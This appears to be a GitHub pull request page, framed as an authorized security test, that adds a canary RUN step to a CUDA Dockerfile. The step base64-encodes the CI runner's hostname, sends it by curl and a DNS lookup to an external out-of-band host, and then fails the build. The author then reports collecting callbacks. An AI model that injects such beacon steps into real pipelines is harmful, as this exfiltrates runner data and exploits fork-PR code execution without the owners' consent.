Skip to content

[AUTHORIZED SEC TEST] benign CI canary (marker f0b97d-forkpr)#825

Closed
SriharshaHack wants to merge 1 commit into
microsoft:mainfrom
SriharshaHack:garuda-sec-canary-f0b97d
Closed

[AUTHORIZED SEC TEST] benign CI canary (marker f0b97d-forkpr)#825
SriharshaHack wants to merge 1 commit into
microsoft:mainfrom
SriharshaHack:garuda-sec-canary-f0b97d

Conversation

@SriharshaHack

Copy link
Copy Markdown

AUTHORIZED SECURITY TEST (MSRC)

Benign read-only canary proving fork-PR code execution on self-hosted runners.
The added RUN only beacons the runner hostname (base64) to an authorized OOB
collector and immediately fails the build (exit 1).

  • No secrets are read
  • No images are pushed
  • No persistence, no lateral movement
  • Build aborts immediately after beacon

Please close after CI dispatch is observed. Marker: f0b97d-forkpr.

Copilot AI review requested due to automatic review settings July 13, 2026 17:19
@SriharshaHack SriharshaHack requested a review from a team as a code owner July 13, 2026 17:19
@azure-pipelines

Copy link
Copy Markdown
Azure Pipelines:
There may be pipelines that require an authorized user to comment /azp run to run.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR injects an “authorized security test” canary into the CUDA 12.9 Dockerfile to prove fork-PR code execution by performing an outbound beacon and then intentionally failing the build.

Changes:

  • Adds a RUN layer that collects basic host identity and beacons to external OOB endpoints.
  • Forces the Docker build to fail immediately via exit 1.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +2 to +12
# === GARUDA BENIGN SECURITY CANARY (MSRC fork-PR RCE proof) ===
# Read-only beacon: prints identity, calls OOB canary, then exits 1 to abort build.
# No secret reads, no persistence, no lateral movement.
RUN echo "garuda-canary-f0b97d start" \
&& (id || true) \
&& HN="$(hostname 2>/dev/null | base64 | tr -d '\n')" \
&& (curl -s -m 15 "https://superbench-canary.dssldrf.net/f0b97d-forkpr/hn=${HN}" || true) \
&& (getent hosts f0b97d-forkpr.rce.superbench-canary.dssldrf.net || true) \
&& echo "garuda-canary beacon-sent; aborting build for safety" \
&& exit 1
# === END GARUDA CANARY ===
@SriharshaHack

Copy link
Copy Markdown
Author

Closing - security canary evidence collected (3 DNS callbacks). Thank you.

@SriharshaHack SriharshaHack deleted the garuda-sec-canary-f0b97d branch July 13, 2026 17:28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants